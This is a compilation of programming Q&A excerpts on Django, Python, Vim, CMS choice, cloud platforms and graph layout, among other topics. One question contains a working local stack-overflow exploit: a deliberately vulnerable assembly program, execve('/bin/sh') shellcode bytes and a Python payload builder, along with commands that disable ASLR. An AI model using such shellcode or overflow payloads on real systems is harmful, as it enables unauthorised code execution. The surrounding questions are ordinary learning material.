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  • Programming language shootout: code most like pseudocode for Dijkstra's Algorithm

    - by Casebash
    Okay, so this question here asked which language is most like executable pseudocode, so why not find out by actually writing some code! Here we have a competition where I will award a 100 point bounty (I know its not much, but I am poor after the recalc) to the code which most resembles this pseudocode. I've read through this a few times so I'm pretty sure that this pseudocode below is correct and about as unambiguous as pseudocode can be. Personally, I'm going to have a go in Python and probably Haskell as well, but I'm just learning the later so my attempt will probably be pretty poor. Note: Obviously to implement anything looking like this you'll have to define quite a few library functions. define DirectedGraph G with: Vertices as V, Edges as E define Vertex A, Z declare each e in E as having properties: Boolean fixed with: initial=false Real minSoFar with: initial=0 for A else infinity define PriorityQueue pq with: objects=V initial=A priority v=v.minSoFar create triggers for v in V: when v.minSoFar event reduced then pq.addOrUpdate v when v.fixed event becomesTrue then pq.remove v Repeat until Z.fixed==True: define Vertex U=pq.pop() U.fixed=True for Edge E adjacentTo U with other Vertex V: V.minSoFar=U.minSoFar+length(E) if reducesValue return Z.name, Z.minSoFar

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  • Open source Java CMS for Google App Engine?

    - by markvgti
    I am looking for an open source Java CMS (Web CMS, actually) to run on Google App Engine. I have looked at related older questions on this topic (What CMS runs on Google AppEngine?, CMS over Google App Engine, with SEO etc.) but the problem is that they all largely list Python-based CMSes. Plus these questions are pretty old, and since GAE is a fast-moving target, I thought it might be worthwhile to ask again. I want a CMS for creating some websites (for myself and for others), but would rather not start writing one from scratch. A "good" (very subjective, I know) open source WCMS allows me to start using a product, while still being able to add to/extend the product/project. On the one hand I am looking for a somewhat mature product/project, on the other hand it's easier to start contributing to the development cycle of a young product/project (conflicting, I know :-). Here are some features that would be preferable: [X]HTML/XML/CSS based templating Ability to create multiple blogs Galleries Ability to create a "Downloads" section (is this pretty much standard?) Separate management for digital assets (images, PDFs, binary files etc.) Roles like "Administrator", "Editor", "Contributor" etc. (or their equivalents) Ability to move/reorganize pages Export to PDF Reformat content for printing Is the CMS you are about to suggest especially well-suited to publishing an online book? My idea is that while the book may be offered as a downloadable eBook, the latest, most current version will be the one available on the website.

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  • Why can't I source my vimrc after installing vundle?

    - by John N
    I'm trying to get my Vim to update on the fly after editing vimrc. So I followed the instructions at Vimcast which basically source vimrc every time you hit save. But that doesn't work for some reason (when I save my vimrc it doesn't give any errors), so I decided to run source $HOME/.vimrc manually and here's what I got: -bash: Configuration file for vim set nocompatible : command not found -bash: Plugin Management { filetype off : command not found -bash: .vimrc: line 7: syntax error near unexpected token `(' -bash: .vimrc: line 7: ` call vundle#rc()' And here's my Vim info (I'm running Mac OS X 10.7.3): VIM - Vi IMproved 7.3 (2010 Aug 15, compiled Jul 31 2011 19:27:29) Compiled by [email protected] Normal version without GUI. Features included (+) or not (-): -arabic +autocmd -balloon_eval -browse +builtin_terms +byte_offset +cindent -clientserver -clipboard +cmdline_compl +cmdline_hist +cmdline_info +comments -conceal +cryptv +cscope +cursorbind +cursorshape +dialog_con +diff +digraphs -dnd -ebcdic -emacs_tags +eval +ex_extra +extra_search -farsi +file_in_path +find_in_path +float +folding -footer +fork() -gettext -hangul_input +iconv +insert_expand +jumplist -keymap -langmap +libcall +linebreak +lispindent +listcmds +localmap -lua +menu +mksession +modify_fname +mouse -mouseshape -mouse_dec -mouse_gpm -mouse_jsbterm -mouse_netterm -mouse_sysmouse +mouse_xterm +multi_byte +multi_lang -mzscheme +netbeans_intg -osfiletype +path_extra -perl +persistent_undo +postscript +printer -profile -python -python3 +quickfix +reltime -rightleft -ruby +scrollbind +signs +smartindent -sniff +startuptime +statusline -sun_workshop +syntax +tag_binary +tag_old_static -tag_any_white -tcl +terminfo +termresponse +textobjects +title -toolbar +user_commands +vertsplit +virtualedit +visual +visualextra +viminfo +vreplace +wildignore +wildmenu +windows +writebackup -X11 -xfontset -xim -xsmp -xterm_clipboard -xterm_save system vimrc file: "$VIM/vimrc" user vimrc file: "$HOME/.vimrc" user exrc file: "$HOME/.exrc" fall-back for $VIM: "/usr/share/vim" Compilation: gcc -c -I. -D_FORTIFY_SOURCE=0 -Iproto -DHAVE_CONFIG_H -arch i386 -arch x86_64 -g -Os -pipe Linking: gcc -arch i386 -arch x86_64 -o vim -lncurses Could anybody tell me what's wrong here? Thanks so much!

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  • Django custom managers - how do I return only objects created by the logged-in user?

    - by Tom Tom
    I want to overwrite the custom objects model manager to only return objects a specific user created. Admin users should still return all objects using the objects model manager. Now I have found an approach that could work. They propose to create your own middleware looking like this: #### myproject/middleware/threadlocals.py try: from threading import local except ImportError: # Python 2.3 compatibility from django.utils._threading_local import local _thread_locals = local() def get_current_user(): return getattr(_thread_locals, 'user', None) class ThreadLocals(object): """Middleware that gets various objects from the request object and saves them in thread local storage.""" def process_request(self, request): _thread_locals.user = getattr(request, 'user', None) #### end And in the Custom manager you could call the get_current_user() method to return only objects a specific user created. class UserContactManager(models.Manager): def get_query_set(self): return super(UserContactManager, self).get_query_set().filter(creator=get_current_user()) Is this a good approach to this use-case? Will this work? Or is this like "using a sledgehammer to crack a nut" ? ;-) Just using: Contact.objects.filter(created_by= user) in each view doesn`t look very neat to me. EDIT Do not use this middleware approach !!! use the approach stated by Jack M. below After a while of testing this approach behaved pretty strange and with this approach you mix up a global-state with a current request. Use the approach presented below. It is really easy and no need to hack around with the middleware. create a custom manager in your model with a function that expects the current user or any other user as an input. #in your models.py class HourRecordManager(models.Manager): def for_user(self, user): return self.get_query_set().filter(created_by=user) class HourRecord(models.Model): #Managers objects = HourRecordManager() #in vour view you can call the manager like this and get returned only the objects from the currently logged-in user. hr_set = HourRecord.objects.for_user(request.user)

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  • Decisions in teaching someone else to program: language selection

    - by Dinah
    My friend would like for me to guide her into learning programming. She's already proven enormous aptitude for thinking like a programmer but is scared of the idea of programming since in her mind it's relegated to some magical realm accessible only to smart people and trained computer scientists (ironically, I am neither but that's beside the point). My main question is the age-old and irritating question: which language should I chose? I've limited it down to these: PHP: dead simple to start with and I remember enough of the language to answer all novice questions. However, I can think of a million reasons why I wouldn't recommend this as a first language. The most diplomatic of which is that there's no desktop app option to which I would feel comfortable subjecting a novice. Python: supposed to be wonderful for beginners and generally everything I've heard about it screams that this is the correct choice. That's the problem: everything I've heard about it. I don't know it yet and have a lot of projects going on right now so I don't feel like learning it yet -- but I'm going to be the tech-support when any little thing goes wrong. I know there are tons of online resources but in the frustration of the moment, it's always going to be just me. C#: this is the language I'm most comfortable with so I know I can be good tech support. I also love this language and its versatility and community. The big drawback here is that I remember when I first learned it after doing mainly PHP, Perl, and JavaScript and I found the experience overwhelming. You are simultaneously learning: programming concepts, C# syntax, strong typing, OOP, and a complex powerful IDE with a bazillion options and buttons all over it.

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  • Worse is better. Is there an example?

    - by J.F. Sebastian
    Is there a widely-used algorithm that has time complexity worse than that of another known algorithm but it is a better choice in all practical situations (worse complexity but better otherwise)? An acceptable answer might be in a form: There are algorithms A and B that have O(N**2) and O(N) time complexity correspondingly, but B has such a big constant that it has no advantages over A for inputs less then a number of atoms in the Universe. Examples highlights from the answers: Simplex algorithm -- worst-case is exponential time -- vs. known polynomial-time algorithms for convex optimization problems. A naive median of medians algorithm -- worst-case O(N**2) vs. known O(N) algorithm. Backtracking regex engines -- worst-case exponential vs. O(N) Thompson NFA -based engines. All these examples exploit worst-case vs. average scenarios. Are there examples that do not rely on the difference between the worst case vs. average case scenario? Related: The Rise of ``Worse is Better''. (For the purpose of this question the "Worse is Better" phrase is used in a narrower (namely -- algorithmic time-complexity) sense than in the article) Python's Design Philosophy: The ABC group strived for perfection. For example, they used tree-based data structure algorithms that were proven to be optimal for asymptotically large collections (but were not so great for small collections). This example would be the answer if there were no computers capable of storing these large collections (in other words large is not large enough in this case). Coppersmith–Winograd algorithm for square matrix multiplication is a good example (it is the fastest (2008) but it is inferior to worse algorithms). Any others? From the wikipedia article: "It is not used in practice because it only provides an advantage for matrices so large that they cannot be processed by modern hardware (Robinson 2005)."

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  • When should one use the following: Amazon EC2, Google App Engine, Microsoft Azure and Salesforce.com

    - by vicky21
    I am asking this in very general sense. Both from cloud provider and cloud consumer's perspective. Also the question is not for any specific kind of application (in fact the intention is to know which type of applications/domains can fit into which of the cloud slab -SaaS PaaS IaaS). My understanding so far is: IaaS: Raw Hardware (Processors, Networks, Storage). PaaS: OS, System Softwares, Development Framework, Virtual Machines. SaaS: Software Applications. It would be great if Stackoverflower's can share their understanding and experiences of cloud computing concept. EDIT: Ok, I will put it in more specific way - Amazon EC2: You don't have control over hardware layer. But you can take your choice of OS image, Dev Framework (.NET, J2EE, LAMP) and Application and put it on EC2 hardware. Can you deploy an applications built with Google App Engine or Azure on EC2? Google App Engine: You don't have control over hardware and OS and you get a specific Dev Framework to build your application. Can you take any existing Java or Python application and port it to GAE? Or vice versa, can applications that were built on GAE be taken out of GAE and ported to any Application Server like Websphere or Weblogic? Azure: You don't have control over hardware and OS and you get a specific Dev Framework to build your application. Can you take any existing .NET application and port it to Azure? Or vice versa, can applications that were built on Azure be taken out of Azure and ported to any Application Server like Biztalk?

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  • Manditory read-only fields in django

    - by jamida
    I'm writing a test "grade book" application. The models.py file is shown below. class Student(models.Model): name = models.CharField(max_length=50) parent = models.CharField(max_length=50) def __unicode__(self): return self.name class Grade(models.Model): studentId = models.ForeignKey(Student) finalGrade = models.CharField(max_length=3) I'd like to be able to change the final grade for several students in a modelformset but for now I'm just trying one student at a time. I'm also trying to create a form for it that shows the student name as a field that can not be changed, the only thing that can be changed here is the finalGrade. So I used this trick to make the studentId read-only. class GradeROForm(ModelForm): studentId = forms.ModelChoiceField(queryset=Student.objects.all()) def __init__(self, *args, **kwargs): super(GradeROForm,self).__init__(*args, **kwargs) instance = getattr(self, 'instance', None) if instance and instance.id: self.fields['studentId'].widget.attrs['disabled']='disabled' def clean_studentId(self): instance = getattr(self,'instance',None) if instance: return instance.studentId else: return self.cleaned_data.get('studentId',None) class Meta: model=Grade And here is my view: def modifyGrade(request,student): student = Student.objects.get(name=student) mygrade = Grade.objects.get(studentId=student) if request.method == "POST": myform = GradeROForm(data=request.POST, instance=mygrade) if myform.is_valid(): grade = myform.save() info = "successfully updated %s" % grade.studentId else: myform=GradeROForm(instance=mygrade) return render_to_response('grades/modifyGrade.html',locals()) This displays the form like I expect, but when I hit "submit" I get a form validation error for the student field telling me this field is required. I'm guessing that, since the field is "disabled", the value is not being reported in the POST and for reasons unknown to me the instance isn't being used in its place. I'm a new Django/Python programmer, but quite experienced in other languages. I can't believe I've stumbled upon such a difficult to solve problem in my first significant django app. I figure I must be missing something. Any ideas?

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  • ws-xmlrpc claims error on part of service but other clients work fine

    - by mludd
    I've been trying to connect to an rTorrent instance using ws-xmlrpc and it just isn't going too well. Now, the URL I'm using is the same that I've been using when making sure that rTorrent's XMLRPC support is fine (which it appears to be since both a native OS X application and a small python script I threw together appear to be able to talk to it just fine without any errors). However, when I try using ws-xmlrpc to connect I get org.apache.xmlrpc.XmlRpcException: Failed to create input stream: Unexpected end of file from serverat the top of my stack trace followed by a bunch of steps down to: java.net.SocketException: Unexpected end of file from server at sun.net.www.http.HttpClient.parseHTTPHeader(HttpClient.java:769) ... So basically, it seems that ws-xmlrpc is convinced that the reply from rTorrent is malformed somehow but other libraries apparently have no problem with it. The code I use to call rTorrent is: private Object callRTorrent(String command, Object[] params) { Object result = null; try { // xmlrpcclient is an XmlRpcClient object and is instantied in // the class constructor result = xmlrpcclient.execute(command, params); } catch(XmlRpcException xre) { System.out.println("Unable to execute method "+command); xre.printStackTrace(); } return result; } With command set to system.listMethodsand params set to an empty Object[]. From reading documentation and googling my conclusion is that I'm not doing anything obviously wrong and this problem doesn't appear to be common, so does anyone have a clue what's going on here?

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  • Django Upload form to S3 img and form validation

    - by citadelgrad
    I'm fairly new to both Django and Python. This is my first time using forms and upload files with django. I can get the uploads and saves to the database to work fine but it fails to valid email or check if the users selected a file to upload. I've spent a lot of time reading documentation trying to figure this out. Thanks! views.py def submit_photo(request): if request.method == 'POST': def store_in_s3(filename, content): conn = S3Connection(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY) bucket = conn.create_bucket(AWS_STORAGE_BUCKET_NAME) mime = mimetypes.guess_type(filename)[0] k = Key(bucket) k.key = filename k.set_metadata("Content-Type", mime) k.set_contents_from_file(content) k.set_acl('public-read') if imghdr.what(request.FILES['image_url']): qw = request.FILES['image_url'] filename = qw.name image = filename content = qw.file url = "http://bpd-public.s3.amazonaws.com/" + image data = {image_url : url, user_email : request.POST['user_email'], user_twittername : request.POST['user_twittername'], user_website : request.POST['user_website'], user_desc : request.POST['user_desc']} s = BeerPhotos(data) if s.is_valid(): #import pdb; pdb.set_trace() s.save() store_in_s3(filename, content) return HttpResponseRedirect(reverse('photos.views.thanks')) return s.errors else: return errors else: form = BeerPhotoForm() return render_to_response('photos/submit_photos.html', locals(),context_instance=RequestContext(request) forms.py class BeerPhotoForm(forms.Form): image_url = forms.ImageField(widget=forms.FileInput, required=True,label='Beer',help_text='Select a image of no more than 2MB.') user_email = forms.EmailField(required=True,help_text='Please type a valid e-mail address.') user_twittername = forms.CharField() user_website = forms.URLField(max_length=128,) user_desc = forms.CharField(required=True,widget=forms.Textarea,label='Description',) template.html <div id="stylized" class="myform"> <form action="." method="post" enctype="multipart/form-data" width="450px"> <h1>Photo Submission</h1> {% for field in form %} {{ field.errors }} {{ field.label_tag }} {{ field }} {% endfor %} <label><span>Click here</span></label> <input type="submit" class="greenbutton" value="Submit your Photo" /> </form> </div>

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  • scraping text from multiple html files into a single csv file

    - by Lulu
    I have just over 1500 html pages (1.html to 1500.html). I have written a code using Beautiful Soup that extracts most of the data I need but "misses" out some of the data within the table. My Input: e.g file 1500.html My Code: #!/usr/bin/env python import glob import codecs from BeautifulSoup import BeautifulSoup with codecs.open('dump2.csv', "w", encoding="utf-8") as csvfile: for file in glob.glob('*html*'): print 'Processing', file soup = BeautifulSoup(open(file).read()) rows = soup.findAll('tr') for tr in rows: cols = tr.findAll('td') #print >> csvfile,"#".join(col.string for col in cols) #print >> csvfile,"#".join(td.find(text=True)) for col in cols: print >> csvfile, col.string print >> csvfile, "===" print >> csvfile, "***" Output: One CSV file, with 1500 lines of text and columns of data. For some reason my code does not pull out all the required data but "misses" some data, e.g the Address1 and Address 2 data at the start of the table do not come out. I modified the code to put in * and === separators, I then use perl to put into a clean csv file, unfortunately I'm not sure how to work my code to get all the data I'm looking for!

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  • How do I reference Django Model from another model

    - by user313943
    Im looking to create a view in the admin panel for a test program which logs Books, publishers and authors (as on djangoproject.com) I have the following two models defined. class Author(models.Model): first_name = models.CharField(max_length=30) last_name = models.CharField(max_length=30) email = models.EmailField() def __unicode__(self): return u'%s %s' % (self.first_name, self.last_name) class Book(models.Model): title = models.CharField(max_length=100) authors = models.ManyToManyField(Author) publisher = models.ForeignKey(Publisher) publication_date = models.DateField() def __unicode__(self): return self.title What I want to do, is change the Book model to reference the first_name of any authors and show this using admin.AdminModels. #Here is the admin model I've created. class BookAdmin(admin.ModelAdmin): list_display = ('title', 'publisher', 'publication_date') # Author would in here list_filter = ('publication_date',) date_hierarchy = 'publication_date' ordering = ('-publication_date',) fields = ('title', 'authors', 'publisher', 'publication_date') filter_horizontal = ('authors',) raw_id_fields = ('publisher',) As I understand it, you cannot have two ForeignKeys in the same model. Can anyone give me an example of how to do this? I've tried loads of different things and its been driving me mad all day. Im pretty new to Python/Django. Just to be clear - I'd simply like the Author(s) First/Last name to appear alongside the book title and publisher name. Thanks

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  • Missing ideas in programming language design

    - by meyka
    I wanted to try something new and so I designed some programming languages and wrote interpreters for them: A rather low-level, not very expressive language. (I didn't want to parse complex expressions right at the beginning) It featured: Variables (yay) Subroutines, with a call stack Basic arithmetic functions, basic string manipulation, ... Code in the language looks like this: set i 0 inc i print i Very, very basic you see. A more high-level language I decided to make it structured and so it featured things like if-else, while, functions, and so on. The stuff most programming languages have. Ended up like a unworthy Python clone, I hated that. A code-golf language Which ended up similar to J, golfcode, APL, etc. Nothing special As you can see: I don't lack the skills but the ideas. I can't figure out anything new, not even bad, unneccessary things, for my languages. - Do you know of some weird things I could implement in my languages, which don't try to make programming harder (like most esoteric languages) but funnier or more different from other languages? It can't be possible that every weird thing has been tried out so far, or?

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  • Graphviz or Dynagraph for Graph-manipulation Program?

    - by noahlavine
    I'm looking into writing a program that will show a graph to the user. The graph will change over time (the user should be able to right-click on a graph item and ask for more detail, which will pop out new bits of the graph), and the user might be able to drag parts of the graph around. I would ideally also like to be able to specify the relative layout of certain parts of the graph myself while leaving the overall layout up to a library, but that's not essential. I'm trying to decide on a graph layout library to use. As far as I can tell, the two leading candidates are Graphviz and Dynagraph. The Dynagraph website suggests that Graphviz is for drawing static graphs, and that Dynagraph was forked from Graphviz and contains algorithms for graphs that will be updated. It has a sample program called Dynasty that does exactly what I want. However, the Graphviz site contains an example program called Lefty which seems to do exactly what I want. Graphviz also seems to be much more widely used, judging by Google (and SO) results. Finally, I'd like to code the GUI part in a language like Python or Scheme, which makes me a bit hesitant to use C++ because I understand it's harder to interface that to interpreters. So my question is, which library is better for what I'm trying to do? Do they both have strong and weak points? Has one of them actually ceased development and is just leaving its website up to confuse me? (I've seen http://stackoverflow.com/questions/464000/simple-dynamic-graph-display-for-c and http://stackoverflow.com/questions/2376987/open-source-libraries-to-design-directed-graphs, but I can't tell whether they're right about the Graphviz or Dynagraph choice because of Lefty and also the language issue.)

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  • Advice for Windows XP Scripting, WSH versus PowerShell

    - by Greg Graham
    After much experience scripting in the Unix/Linux open-source world, using languages such as Bourne Shell, Perl, Python, and Ruby, I now find myself needing to do some Windows XP admin scripting. It appears that the legacy environment is Windows Script Host (WSH), which can use various scripting languages, but the primary language is VBScript, and is based on COM objects. However, the future appears to be Windows PowerShell, which is based on .NET. I haven't done Basic since Applesoft in the 70s, so I'm not keen on learning VBScript, although I did learn enough to write a small script to mount network drives. If I'm going to spend time to really learn this, I'm leaning towards investing my time in the .NET PowerShell environment, if it truly is the future. I did some C# Windows Forms programming a couple of years ago, so I have some exposure to .NET, which also makes PowerShell attractive. Understanding that no one has a crystal ball to predict the future of Microsoft, I would like hear from anyone who is a PowerShell user and thinks it's worthwhile, or if there is anyone that knows of serious drawbacks to PowerShell, and recommends that I stay away from it. Update: I ended up using WSH/VBScript for a particular script that I am installing as a startup script on user's Windows XP workstations. All I have to do is copy it to their Startup folder, and I'm done. However, I only learned enough WSH to accomplish this one job. I am glad to see that PowerShell is the future, and when I have more complicated scripting tasks, I'll to turn PowerShell.

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  • Static Data Structures on Embedded Devices (Android in particular)

    - by Mark
    I've started working on some Android applications and have a question regarding how people normally deal with situations where you have a static data set and have an application where that data is needed in memory as one of the standard java collections or as an array. In my current specific issue i have a spreadsheet with some pre-calculated data. It consists of ~100 rows and 3 columns. 1 Column is a string, 1 column is a float, 1 column is an integer. I need access to this data as an array in java. It seems like i could: 1) Encode in XML - This would be cpu intensive to decode in my experience. 2) build into SQLite database - seems like a lot of overhead for static access to data i only need array style access to in ram. 3) Build into binary blob and read in. (never done this in java, i miss void *) 4) Build a python script to take the CSV version of my data and spit out a java function that adds the values to my desired structure with hard coded values. 5) Store a string array via androids resource mechanism and compute the other 2 columns on application load. In my case the computation would require a lot of calls to Math.log, Math.pow and Math.floor which i'd rather not have to do for load time and battery usage reasons. I mostly work in low power embedded applications in C and as such #4 is what i'm used to doing in these situations. It just seems like it should be far easier to gain access to static data structures in java/android. Perhaps I'm just being too battery usage conscious and in my single case i imagine the answer is that it doesn't matter much, but if every application took that stance it could begin to matter. What approaches do people usually take in this situation? Anything I missed?

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  • Shellcode for a simple stack overflow doesn't start a shell

    - by henning
    Hi, I played around with buffer overflows on Linux (amd64) and tried exploiting a simple program, but it failed. I disabled the security features (address space layout randomization with sysctl -w kernel.randomize_va_space=0 and nx bit in the bios). It jumps to the stack and executes the shellcode, but it doesn't start a shell. Seems like the execve syscall fails. Any idea what's wrong? Running the shellcode standalone works just fine. Bonus question: Why do I need to set rax to zero before calling printf? (See comment in the code) Vulnerable file buffer.s: .data .fmtsp: .string "Stackpointer %p\n" .fmtjump: .string "Jump to %p\n" .text .global main main: push %rbp mov %rsp, %rbp sub $120, %rsp # calling printf without setting rax # to zero results in a segfault. why? xor %rax, %rax mov %rsp, %rsi mov $.fmtsp, %rdi call printf mov %rsp, %rdi call gets xor %rax, %rax mov $.fmtjump, %rdi mov 8(%rbp), %rsi call printf xor %rax, %rax leave ret shellcode.s .text .global main main: mov $0x68732f6e69622fff, %rbx shr $0x8, %rbx push %rbx mov %rsp, %rdi xor %rsi, %rsi xor %rdx, %rdx xor %rax, %rax add $0x3b, %rax syscall exploit.py shellcode = "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x48\x83\xc0\x3b\x0f\x05" stackpointer = "\x7f\xff\xff\xff\xe3\x28" output = shellcode output += 'a' * (120 - len(shellcode)) # fill buffer output += 'b' * 8 # override stored base pointer output += ''.join(reversed(stackpointer)) print output Compiled with: $ gcc -o buffer buffer.s $ gcc -o shellcode shellcode.s Started with: $ python exploit.py | ./buffer Stackpointer 0x7fffffffe328 Jump to 0x7fffffffe328

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  • Stack and Hash joint

    - by Alexandru
    I'm trying to write a data structure which is a combination of Stack and HashSet with fast push/pop/membership (I'm looking for constant time operations). Think of Python's OrderedDict. I tried a few things and I came up with the following code: HashInt and SetInt. I need to add some documentation to the source, but basically I use a hash with linear probing to store indices in a vector of the keys. Since linear probing always puts the last element at the end of a continuous range of already filled cells, pop() can be implemented very easy without a sophisticated remove operation. I have the following problems: the data structure consumes a lot of memory (some improvement is obvious: stackKeys is larger than needed). some operations are slower than if I have used fastutil (eg: pop(), even push() in some scenarios). I tried rewriting the classes using fastutil and trove4j, but the overall speed of my application halved. What performance improvements would you suggest for my code? What open-source library/code do you know that I can try?

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  • List of rich web application technologies

    - by Michal Czardybon
    I am trying to get myself acquainted with the world of rich web application. There are some comparison tables of available technologies on the Wikipedia, but I still find it unclear what are the options for rich application development. Could you please verify and complete the information I gathered below? What are the key pros and cons of each option? Which is the best choice for big and very rich web application? Option 1: ASP.NET/ASP.NET MVC Vendor: Microsoft Environment: Visual Studio Language: C# Output: HTML+JavaScript+AJAX Example: www.stackoverflow.com Option 2: Silverlight Vendor: Microsoft Environment: Visual Studio Language: C# Output: .NET executable? Example: ? Option 3: Google Web Toolkit Vendor: Google Environment: Eclipse Language: Java Output: HTML+JavaScript+AJAX Example: http://www.projectkaiser.com:8080/pk/ Option 4: Flex Vendor: Adobe Environment: ? Language: ? Output: Flash (.swf file) Example: http://listen.grooveshark.com/ Option 5: Adobe AIR Vendor: Adobe Environment: ? Language: ? Output: AIR Example: http://www.colabolo.com/en/download.html Option 5: Ruby on Rails Vendor: Rails Core Team Envirnoment: ? Language: Ruby Output: HTML+JavaScript+AJAX? Example: ? Option 6: Java Applets Vendor: Sun Environment: Eclipse Language: Java Output: Java Applet Option 7: OpenLeszlo Vendor: ? Environment: ? Language: ? Output: ? Example: ? Option 8: Python? ??? Option 9: XUL ???

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  • Using HAML with custom filters

    - by Guard
    Hi everybody. I feel quite excited about HAML and CoffeeScript and am working on tutorial showing how to use them in non-Rails environment. So, haml has easy to use command-line utility haml input.haml output.html. And, what is great, there exist a project (one of many forks: https://github.com/aussiegeek/coffee-haml-filter) aimed at providing custom filter that converts CoffeeScript into JS inside of HAML files. Unfortunately (or am I missing something?) haml doesn't allow specifying custom filters on the command line or with some configuration file. I (not being a Ruby fan or even knowing it enough) managed to solve it (based on some clever suggestion somewhere on SO) with this helper script: haml.rb require 'rubygems' require 'active_support/core_ext/object/blank' require 'haml' require 'haml/filters/coffee' template = ARGV.length > 0 ? File.read(ARGV.shift) : STDIN.read haml_engine = Haml::Engine.new(template) file = ARGV.length > 0 ? File.open(ARGV.shift, 'w') : STDOUT file.write(haml_engine.render) file.close Which is quite straightforward, except of requires in the beginning. Now, the questions are: 1) should I really use it, or is there another way to have on-demand HAML to HTML compilation with custom filters? 2) What about HAML watch mode? It's great and convenient. I can, of course, create a polling script in python that will watch the directory changes and call this .rb script, but it looks like a dirty solution.

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  • Contributing to a Linux distribution

    - by Big Al
    I'm interested in contributing to a Linux distro, but regarding the various distro's developer communities, I'm having a bit of trouble figuring out which one I'd most like to join. What languages I know: C, C++, Lua, Python, and fairly familiar with Perl (though I wouldn't say I "know" it). In particular, I have very little experience with x86 assembly besides hacking stuff together for performance tweaks, though that will be partially rectified soon. What I'm looking for: A community that provides plenty of opportunities for developers to work on various aspects of the distribution. To be honest I'm most interested in reading and working on the kernel source (in which case the distro doesn't matter), but it's pretty daunting and I figure getting into the Linux community and working with experienced Linux developers might give me a better idea of how to jump into the guts(let me know if this is bogus, or if you have any advice regarding that). So... Which distro has the "best" developer community in terms of organization, people who are fun to work with, and opportunities to contribute? I've read various "Contributing to XXX" pages and mailing lists for distros like Ubuntu, OpenSuse, Fedora, etc. but I'd rather get a more personal testament from an actual developer.

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  • Easy way to observe user activity - how improve my database structure.

    - by Thomas
    Welcome, I need some advise to improve perfomence my web application. In the begin I had this structure of database: USER -id (Primary Key) -name -password -email .... PROFILE -user Primary Key, Foreign Key (USER) -birthday -region -photoFile ... PAGES -id (Primary Key) -user Foreign Key(USER) -page -date COMMENTS -id (Primary Key) -user Foreign Key(USER) -page Foreign Key(PAGE) -comment -date FAVOURITES_PAGES -id (Primary Key) -user Foreign Key(USER) -favourite_page Foreign Key(PAGE) -date but now one of the most important page of website is observatory, when everyone can observe activity others users. So I need select all pages, comments and favourites pages some users and display it in one list, sorted by date. For better perfomance (I think) I changed my structure to this: table USER and PROFILE without changes ACTIVITY (additional table- have common fields: user,date) -id (Primary Key) -user Foreign Key(USER) -date -page Foreign Key(PAGE) -comment Foreign Key(COMMENTS) -favourite_page Foreign Key(FAVOURITES_PAGES) PAGES -id (Primary Key) -page COMMENTS -id (Primary Key) -page Foreign Key(PAGE) -comment FAVOURITES_PAGES -id (Primary Key) -favourite_page Foreign Key(PAGE) So now it is very easy get sorted records from all tables. But I have no only foreign key to PAGES, COMMENTS and FAVOURITES_PAGES in ACTIVITY table - there is about ten Foreign Key fields and in one record only one have value, others have None: ACTIVITY id user date page comment ... 1 2 2010-02-23 None 1 2 1 2010-02-21 1 None .... It is corect solution. When I display about 40 records in one page (pagination) I must wait about one secound, but database is almost emty (a few users and about 100 records in others tables). It is depends on amount records per page - I have checked it, but why it takes too long time, becouse of relationships? The website is built in Python/Django. Any advices/opinion?

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  • Spam proof hit counter in Django

    - by Jim Robert
    I already looked at the most popular Django hit counter solutions and none of them seem to solve the issue of spamming the refresh button. Do I really have to log the IP of every visitor to keep them from artificially boosting page view counts by spamming the refresh button (or writing a quick and dirty script to do it for them)? More information So right now you can inflate your view count with the following few lines of Python code. Which is so little that you don't even really need to write a script, you could just type it into an interactive session: from urllib import urlopen num_of_times_to_hit_page = 100 url_of_the_page = "http://example.com" for x in range(num_of_times_to_hit_page): urlopen(url_of_the_page) Solution I'll probably use To me, it's a pretty rough situation when you need to do a bunch of writes to the database on EVERY page view, but I guess it can't be helped. I'm going to implement IP logging due to several users artificially inflating their view count. It's not that they're bad people or even bad users. See the answer about solving the problem with caching... I'm going to pursue that route first. Will update with results. For what it's worth, it seems Stack Overflow is using cookies (I can't increment my own view count, but it increased when I visited the site in another browser.) I think that the benefit is just too much, and this sort of 'cheating' is just too easy right now. Thanks for the help everyone!

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  • Use Google Calendar UI but showing only filtered events

    - by Edwin
    I have just started using Google Calendar API (using Python client). I'm basically developing a web app for a school with Django. What I'd like to achieve is something like this: To make things simple for now, I have 1 Google account and all events will be created in the calendar under that account (this is the school calendar). The calendar will be made public. When a class is created by a teacher, the class schedule will be automatically added as an event in the Google Calendar. When a student logs in, he can see the school calendar, showing only schedules from the classes that he's registered in. I think I can filter the calendar feeds to show only class schedules that a student is registered in using Google Data API. The problem is, how can I display Google Calendar on my web app using Google Calendar UI to show only those filtered events? I can use Google Calendar UI with the provided embeddable HTML snippet, but I can't control/filter events with that (i.e. all events in the school calendar will be displayed). Or perhaps I'm missing something? I read the Data API guide and the Publishing tool doc but I can't seem to find this information. THanks in advance!

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  • how to export bind and keyframe bone poses from blender to use in OpenGL

    - by SaldaVonSchwartz
    EDIT: I decided to reformulate the question in much simpler terms to see if someone can give me a hand with this. Basically, I'm exporting meshes, skeletons and actions from blender into an engine of sorts that I'm working on. But I'm getting the animations wrong. I can tell the basic motion paths are being followed but there's always an axis of translation or rotation which is wrong. I think the problem is most likely not in my engine code (OpenGL-based) but rather in either my misunderstanding of some part of the theory behind skeletal animation / skinning or the way I am exporting the appropriate joint matrices from blender in my exporter script. I'll explain the theory, the engine animation system and my blender export script, hoping someone might catch the error in either or all of these. The theory: (I'm using column-major ordering since that's what I use in the engine cause it's OpenGL-based) Assume I have a mesh made up of a single vertex v, along with a transformation matrix M which takes the vertex v from the mesh's local space to world space. That is, if I was to render the mesh without a skeleton, the final position would be gl_Position = ProjectionMatrix * M * v. Now assume I have a skeleton with a single joint j in bind / rest pose. j is actually another matrix. A transform from j's local space to its parent space which I'll denote Bj. if j was part of a joint hierarchy in the skeleton, Bj would take from j space to j-1 space (that is to its parent space). However, in this example j is the only joint, so Bj takes from j space to world space, like M does for v. Now further assume I have a a set of frames, each with a second transform Cj, which works the same as Bj only that for a different, arbitrary spatial configuration of join j. Cj still takes vertices from j space to world space but j is rotated and/or translated and/or scaled. Given the above, in order to skin vertex v at keyframe n. I need to: take v from world space to joint j space modify j (while v stays fixed in j space and is thus taken along in the transformation) take v back from the modified j space to world space So the mathematical implementation of the above would be: v' = Cj * Bj^-1 * v. Actually, I have one doubt here.. I said the mesh to which v belongs has a transform M which takes from model space to world space. And I've also read in a couple textbooks that it needs to be 